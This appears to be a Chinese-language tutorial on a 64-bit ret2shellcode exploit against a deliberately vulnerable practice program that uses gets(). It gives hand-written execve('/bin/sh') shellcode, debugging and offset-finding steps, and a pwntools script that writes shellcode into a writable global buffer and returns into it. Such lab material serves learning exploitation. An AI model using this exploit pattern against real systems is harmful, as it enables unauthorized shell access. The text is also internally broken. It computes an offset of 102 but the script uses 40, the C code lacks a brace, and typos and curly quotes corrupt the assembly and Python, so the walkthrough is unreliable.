Rop-Ret2Shellcode-64位实例
前面写过了32位的shellcode,这次继续64位shellcode,当我们的64位程序中没有system函数,并且开启了NX保护时,这时我们需要用到64位的shellcode来执行execve(“/bin/sh”,null,null);
如何编写shellcode呢?
①想办法调用execve("/binsh" , null, null);
②借助栈来传入字符串/bin/sh
③系统调用execve
rax = 0x3b(64bit)
rdi = bin_sh_addr(参数一)
rsi = 0(参数二)
rdx = 0(参数三)
xor rax, rax
add rax,0x3b
xor rdi, rdi
push rdi
movrdi,0×68732f2f6e69622f
push rdi
lea rdi,[rsp]
xor rsi,rsi
xor rdx,rdx
syscall
实例如下:
#include<stdio.h>
char buf2[200];
int main()
setvbuf(stdout,0,2,0);char buf[ 20]; //优化,一般不用管
printf( "what's your name: ");
gets (buf);
printf( "leave message: ");
gets (buf2);
puts(buf2);
return 0;
}
实例中,buf2字符串中有200个字节,我们可以将shellcode写入内存,然后第二次调用的时候,就能够执行我们的shelllcode函数,首先我们要看一下buf2段所处的位置,同时我们还要看一下这一个断中有没有执行权限。
开始调试 -------没开启任何的保护
Objdump –d –M intel ret2shellcode1 |grep buf2 搜索buf2字段。
Objdump –d –M intel ret2shellcode1查看反汇编
在buf2的代码处下断点 b *400671
断点下好后运行程序,最后断下来使用vmmap命令查看段信息
发现框起来的601000-602000之间的数据权限是可操作的,所以我们可以将shellcode代码写进去。
然后我们就开始计算偏移地址
Cyclic 500生成数据,重新运行程序,将数据传入第一个get函数中,第二个函数的输入随便输入,然后运行得到如下所示,这里的地址报错
然后使用cyclic –l 0x61626261计算偏移
计算出偏移为102
计算出偏移后,下面开始写exp
from pwn import *
context(arch = "amd64",os = "linux",log_level= "debug")
p = process("./ret2shellcode1")
e =ELF("./ret2shellcode1")
buf2 = e.symbols["buf2"] “”“利用系统函数查找buf2地址“””
offset = 40
shellcode = asm(shellcraft.sh()) “”“”自动生成shellode“”
payload = offset*'a'+ p64(buf2) “”“将buf2段的地址写入返回地址,然后程序会返回到buf2字段处”“”
p.recvuntil(":")
p.sendline(payload)
payload2=shellcode.ljust(200,"a")
p.sendline(payload2)
p.interactive()